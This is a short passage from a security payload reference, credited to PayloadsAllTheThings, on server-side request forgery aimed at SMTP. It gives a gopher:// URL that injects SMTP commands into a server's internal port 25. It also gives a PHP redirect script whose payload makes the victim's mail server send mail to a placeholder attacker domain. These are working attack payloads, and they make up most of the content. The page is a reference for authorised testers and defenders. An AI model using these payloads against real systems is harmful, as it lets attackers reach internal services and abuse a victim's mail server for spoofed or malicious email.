Server Side Request Forgery · passage 33 of 53

SSRF-Advanced-Exploitation: SMTP

2 code blocks · Server Side Request Forgery/SSRF-Advanced-Exploitation.md

For testing systems you own or are authorised to test, and for defending them. Nothing here is run by this page.

Malicious actors can craft `gopher://` URLs to manipulate low-level protocols (like HTTP or SMTP) on internal systems.

gopher://localhost:25/_MAIL%20FROM:<attacker@example.com>%0D%0A

The following PHP script can be used to generate a page that will redirect to the `gopher://` payload.

<?php
    $commands = array(
            'HELO victim.com',
            'MAIL FROM: <admin@victim.com>',
            'RCPT To: <User@[ATTACKER.DOMAIN.TLD]>',
            'DATA',
            'Subject: @hacker!',
            'Hello Friend',
            '.'
    );
    $payload = implode('%0A', $commands);
    header('Location: gopher://0:25/_'.$payload);
?>

Every one of the 53 is a mark on the map. Named now: 27 to 52, reading order first.

Zoom in on the map and the dots under the middle of it are named where they are.

Data as of 2026-11-15. CVE List through 2026-11-15 · EPSS of 2026-11-14 · CISA KEV checked 2026-11-15. Source: PayloadsAllTheThings by Swissky and contributors, MIT License. For authorised testing only.